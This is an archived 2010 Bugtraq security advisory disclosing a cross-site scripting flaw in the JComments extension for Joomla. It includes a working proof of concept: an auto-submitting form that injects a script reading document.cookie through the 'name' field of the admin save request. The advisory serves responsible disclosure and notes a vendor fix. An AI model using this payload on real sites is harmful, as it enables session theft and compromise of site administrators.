bugtraq - XSS vulnerability in JComments, Joomla

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-Id: <201005181226.o4ICQrsp060806@htbridge.ch>
Date: Tue, 18 May 2010 14:26:53 +0200 (CEST)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: XSS vulnerability in JComments, Joomla

Vulnerability ID: HTB22368
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_jcomments_joomla.html
Product: JComments
Vendor: JoomlaTune .com
Vulnerable Version: 2.1.0.0  [07/08/2009] and Probably Prior Versions
Vendor Notification: 04 May 2010 
Vulnerability Type: XSS (Cross Site Scripting)
Status: Fixed by Vendor
Risk level: Medium 
Credit: High-Tech Bridge SA (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application. 

The vulnerability exists due to failure in the "admin.jcomments.php" script to properly sanitize user-supplied input in "name" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form method="POST" action="http://joomla/administrator/index.php" name="main">
<input type="hidden" name="name" value='ComntrName"><script>alert(document.cookie)</script>'>
<input type="hidden" name="email" value="example@...mple.com">
<input type="hidden" name="comment" value="comment text">
<input type="hidden" name="published" value="1">
<input type="hidden" name="option" value="com_jcomments">
<input type="hidden" name="id" value="1">
<input type="hidden" name="task" value="save">
</form>
<script>
document.main.submit();
</script>

Solution: Upgrade to the most recent verison